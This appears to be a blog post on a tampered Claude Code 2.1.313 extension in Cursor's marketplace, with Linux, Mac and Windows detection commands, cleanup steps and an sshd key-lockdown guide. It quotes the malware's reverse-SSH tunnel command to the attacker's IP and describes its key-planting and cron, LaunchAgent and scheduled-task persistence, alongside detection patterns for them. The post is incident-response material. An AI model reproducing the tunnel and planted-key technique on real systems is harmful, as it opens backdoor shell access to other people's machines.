A Tampered Claude Code 2.1.313 in Cursor's Marketplace Planted SSH Keys. Here's How to Check
For about 11 hours on 29 October (US time), Cursor's extension marketplace served a tampered Claude Code 2.1.313 that added an attacker's SSH key, opened a reverse tunnel and set up persistence that survives an update. How to check Linux, Mac and Windows, and lock down authorized_keys.
On 29 October, for about 11 hours, anyone who installed or auto-updated Claude Code from Cursor's extension marketplace got version 2.1.313. Anthropic didn't build it. It added an attacker's SSH key to ~/.ssh/authorized_keys, tried to switch on the SSH server, opened a reverse SSH tunnel out to the attacker and set itself up to come back after a reboot. Cursor says at most 5,000 users got it, and it's contacting them directly.
Updating to the clean version doesn't undo any of that. The extension is just the delivery. What it leaves behind lives in your home folder and crontab.
In short: if you use Cursor with Claude Code, check whether svc-telemetry appears in ~/.ssh/authorized_keys. On a Mac or Windows PC, a bug in the malware means the SSH part usually failed, but the key, the persistence and the beacon still happened, so run Cursor's check anyway. On Linux nothing stops the SSH part, so the checks below are worth a minute. The attacker's server is already offline. If you find the key, clean up, update, then rotate whatever that account could reach.
Jump to: What happened · What it does · Who's affected · Check a Linux box · Mac and Windows · If you find it · Lock down authorized_keys · My take
What happened
Between about 2:27 am and 1:35 pm PT on 29 October (8:27 pm Thursday to 7:35 am Friday in AEDT), Cursor's VS Code extension marketplace served a modified Anthropic.claude-code 2.1.313. Security firm Phorion spotted it. Cursor pulled the version, shut its whole marketplace down, audited it, rotated its keys, rebuilt it and brought it back. It also got the attacker's server taken offline, and says "the attacker server no longer functions."
How the attacker got publish access to Cursor's marketplace hasn't been explained by Cursor or Anthropic. Anthropic's Felix Rieseberg told The Register it "wasn't a compromise of Anthropic's systems or employee laptops", and that "the versions on our official channels are not affected, and this only impacts Cursor users."
The clean 2.1.314 is out. On Open VSX, 2.1.314 is the latest version and 2.1.313 now returns a 404.
What it does
The attacker stuck a small loader on the front of the extension's extension.js. It runs the moment the editor loads the file, before any of the real Claude Code runs, so you didn't have to open Claude or type anything. Claude Code loads every time the editor starts.
From Cursor's notice and the write-ups by Phorion and OpenSourceMalware, it:
- appends an Ed25519 public key with the comment
svc-telemetryto~/.ssh/authorized_keys(fingerprintSHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk) - tries to start the SSH server (on Linux through
systemctl, thenservice, then/etc/init.d/, usingsudo -n, which only works if you already have passwordless sudo) - writes a tunnel key to the temp folder as
.stk_plus ten hex characters, and runsssh -N -R '*:0:localhost:22'(orautossh) to134.209.82[.]225in a detached loop that retries every 60 seconds and keeps going after you close the editor - on Linux, writes
~/.config/.smtand~/.config/.smtkand adds an@rebootline to your crontab, with a LaunchAgent calledcom.apple.sysmondon macOS and aSysMontask or Startup script on Windows - sends one beacon to the attacker with your hostname, username, OS, home and working folders, Git email, public IP and the names (not the values) of up to 40 environment variables that look like keys or tokens
That reverse tunnel is the clever bit. Your machine connects out, which most firewalls allow, and the attacker comes back in through it to your local sshd and logs in with the key it planted. In your SSH logs, those logins show up as coming from 127.0.0.1 or ::1.
Phorion also found a bug in the Linux cron code that "can wipe existing user cron jobs on repeat runs". On a server that could mean your backups or certificate renewals quietly stopped.
Who's affected
The main group is Cursor users who installed or updated Claude Code during that window. Installs from Anthropic's own channels, including Microsoft's VS Code Marketplace and the Claude Code CLI, weren't affected according to Anthropic.
Early reports said Open VSX served it too, which would matter if you use VSCodium or another editor that pulls from there. OpenSourceMalware later updated its post to say Cursor told it the source was Cursor's marketplace, "not Open-VSX". The Eclipse Foundation, which runs Open VSX, hasn't said anything publicly.
Cursor's indicators only list macOS and Windows builds of the bad version. Nobody has reported a tampered Linux build reaching anyone.
On a Mac, the malware tried to check whether Remote Login was off without admin rights, got an error back instead of "Off", and so never tried to turn it on. Cursor says that outside unusual cases where Cursor ran with admin rights, switching SSH on failed on most Macs and Windows PCs. So most laptops got the key and the persistence, but had no SSH server for the tunnel to reach.
A Linux server is different, because sshd is already running. That's why Remote-SSH users should give this a minute. If you use Cursor's Remote-SSH to edit configs on a VPS or a Proxmox VM, it installs extensions on the server, under ~/.cursor-server/extensions. It only installs the ones you've added on the remote side or listed in remote.SSH.defaultExtensions, though. Your laptop's extensions don't copy across by themselves, so a laptop-only install of 2.1.313 wouldn't have reached the server.
So the server case is possible, but nobody has seen it happen. It would need a tampered Linux build to exist, and Claude Code installed on the remote side during those 11 hours. If both were true, nothing in the malware would have failed. It's probably fine, but it only takes a minute to check.
Game servers on a shared host like PebbleHost aren't part of this through the panel. It only matters if you ran Cursor yourself.
Check a Linux box
These are all read-only. Run them on your Linux laptop, and on any server you've opened with Cursor Remote-SSH.
# 1. The attacker's key, by comment and by fingerprint
grep -n svc-telemetry ~/.ssh/authorized_keys
ssh-keygen -lf ~/.ssh/authorized_keys | grep '0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk'
# 2. Persistence files and the temp tunnel key
ls -la ~/.config/.smt ~/.config/.smtk /tmp/.stk_* 2>/dev/null
# 3. The @reboot cron entry
if command -v crontab >/dev/null; then
crontab -l | grep -n -e '@reboot' -e '\.smt'
else
echo "cron is not installed, so the @reboot persistence could not run"
fi
# 4. A running tunnel
pgrep -af 'localhost:22|134\.209\.82\.225|autossh' | grep -v pgrep
# 5. Claude Code installed on a remote host
ls -d ~/.cursor-server/extensions/anthropic.claude-code-* ~/.vscode-server/extensions/anthropic.claude-code-* 2>/dev/null
# 6. Logins through the tunnel (systemd distros)
sudo journalctl -u ssh -u sshd --since 2026-10-29 | grep 'Accepted publickey' | grep -e '127.0.0.1' -e '::1'
No output from any of them is the good result. Testing these on Debian 13 turned up a few things that could fool you.
If authorized_keys is empty, ssh-keygen complains it "is not a public key file". That's harmless, since there's nothing in it to match.
A minimal Debian 13 install has no cron at all. If you hide errors on crontab -l, "command not found" disappears too and looks like a clean result, which is why check 3 tests for crontab first. No cron also means the @reboot persistence couldn't run. If cron is there and you have no crontab, "no crontab for" your username is clean too.
Run check 4 in a normal interactive shell. Run through ssh host '...' or a script, pgrep matches the shell running the command, since its command line contains the search pattern. The grep -v pgrep is there to drop that false hit.
Debian 13 has no /var/log/auth.log unless you've installed rsyslog, so check 6 uses journalctl. Debian's unit is ssh.service, and -u sshd on its own returns "No entries" there. The extra -u sshd is for distros where the unit really is called sshd. If your box does write auth.log, use this instead:
sudo grep -h 'Accepted publickey.*0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk' /var/log/auth.log*
The Accepted publickey part matters. sudo logs your grep command, fingerprint and all, to auth.log before grep reads it, so a plain grep for the fingerprint always finds a hit.
If more than one account on the box takes SSH logins, check every authorized_keys, root's included:
sudo sh -c 'for f in /root/.ssh/authorized_keys /home/*/.ssh/authorized_keys; do grep -Hn svc-telemetry "$f" 2>/dev/null; done'
Keep the single quotes. The /home/* has to expand as root inside sudo sh -c. If your own shell expands it, it skips any home folder you can't read and gives you a clean result that isn't.
While you're in there, read through crontab -l. If a backup or certbot job you know you set up has vanished, that cron bug is one possible reason.
Mac and Windows
Use Cursor's own checks and cleanup scripts from its notice. The Mac check is one line:
grep -qs svc-telemetry ~/.ssh/authorized_keys && echo "svc-telemetry key found" || echo "No key found; machine not impacted"
The notice also has a PowerShell check for Windows and the remediate-macos.sh and remediate-windows.ps1 scripts. There's no Linux script, which is why the checks above exist.
To see which Claude Code version Cursor has installed:
cursor --list-extensions --show-versions | grep -i claude-code
If you find it
- Take the machine off the network.
- Kill the retry loop and any
sshorautosshprocess pointed at134.209.82[.]225. - Remove the
@rebootline,~/.config/.smt,~/.config/.smtk,/tmp/.stk_*and thesvc-telemetryline inauthorized_keys. - Update Claude Code to 2.1.314 or later. Do this last, because updating first removes none of the above.
- From a different, clean machine, rotate everything that account could reach: SSH keys, GitHub or GitLab tokens, cloud keys, AI provider API keys, registry and CI tokens.
- On a server where sshd was running, think hard about rebuilding it.
The beacon only sent variable names, but Cursor's notice is blunt about why that isn't the end of it: the limited collection "does not rule out later credential access over the backdoor." If someone logged in through the tunnel, they had a shell as you.
If you were hit by the LiteLLM backdoor earlier this month, this is the same rotate-from-a-clean-machine routine.
Lock down authorized_keys
This malware ran as your normal user and wrote to a file your normal user owns. If sshd only reads keys from files that user can't write, the planted key does nothing. This is the one change from all this I'd actually make on a server.
AuthorizedKeysFile /etc/ssh/authorized_keys/%u
%u is the login name, so each user's keys live in /etc/ssh/authorized_keys/<username>. With only that path listed, sshd stops reading ~/.ssh/authorized_keys at all, which is the whole point. Add .ssh/authorized_keys back as a second path and the malware's key works again.
I tested this on Debian 13 with sshd -t, sshd -T and a throwaway sshd, and it's fussy about permissions:
- Each key file has to be owned by root:root with mode 644. sshd also accepted a file owned by the user, but that defeats the purpose, since the user (or malware running as them) can still add keys.
- A world-writable key file gets refused.
- Every folder in the path must be owned by root and not group or world writable. Mode 700 on the folder gets refused too, because sshd reads the file as the user logging in. Use 755.
Keep an existing SSH session open the whole time you do this. Run the checks above first so you don't move a planted key across, then:
# Folder, root-owned, 755
sudo install -d -o root -g root -m 755 /etc/ssh/authorized_keys
# Key files, root-owned, 644 (one per user)
sudo install -o root -g root -m 644 /home/youruser/.ssh/authorized_keys /etc/ssh/authorized_keys/youruser
sudo install -o root -g root -m 644 /root/.ssh/authorized_keys /etc/ssh/authorized_keys/root
# Config, then check what sshd will use
echo 'AuthorizedKeysFile /etc/ssh/authorized_keys/%u' | sudo tee /etc/ssh/sshd_config.d/10-authorized-keys.conf
sudo sshd -t
sudo sshd -T | grep -i authorizedkeysfile
# Reload, existing sessions stay up
sudo systemctl reload ssh
Swap youruser for your username, and skip the root line if you don't log in as root. On Debian, sshd_config pulls in everything in sshd_config.d/, and sshd -T should print authorizedkeysfile /etc/ssh/authorized_keys/%u. sshd uses the first AuthorizedKeysFile it reads, so an uncommented line above the Include in sshd_config, or a drop-in that sorts earlier than 10-, beats this one. If sshd -T shows anything else, find that line before you reload. Other distros may call the service sshd instead of ssh.
Then log in from a new terminal before you close the old one. If that fails, fix it from the session you kept open.
There are trade-offs. Adding or changing a key now needs root. It does nothing against malware running as root, which can write those files anyway. It also doesn't stop the tunnel. The tunnel still reaches sshd, but the attacker has no key that works.
Two smaller things. Block outbound traffic to 134.209.82[.]225 on ports 22 and 8099, and look back through your firewall logs for hits. And think about pinning or turning off auto-update for AI coding extensions on machines that hold secrets. An auto-update during that window was all it took to get the bad version.
Keeping sshd off the public internet, with something like Tailscale SSH, is still good practice, but it wouldn't have helped here. The tunnel reaches sshd from inside the box. The key lockdown does help.
My take
This one got blunted by luck. A bug stopped the SSH part on most Macs and Windows PCs, and the attacker's server was offline by the time Cursor posted its notice. The planted key, the hidden scripts and the cron line are still sitting on any machine that ran it, though, and they don't go away when you update.
What bugs me is how little it took. An AI coding extension already runs with your files, your shell and your keys, and auto-update means it can change under you overnight. This time it was one marketplace, and nobody has said how it happened. Run the checks, and on servers move your keys somewhere your user can't write to.
DampSnag
Get new posts by email
Guides and patch notes for self-hosters and Minecraft server admins. No spam, unsubscribe any time.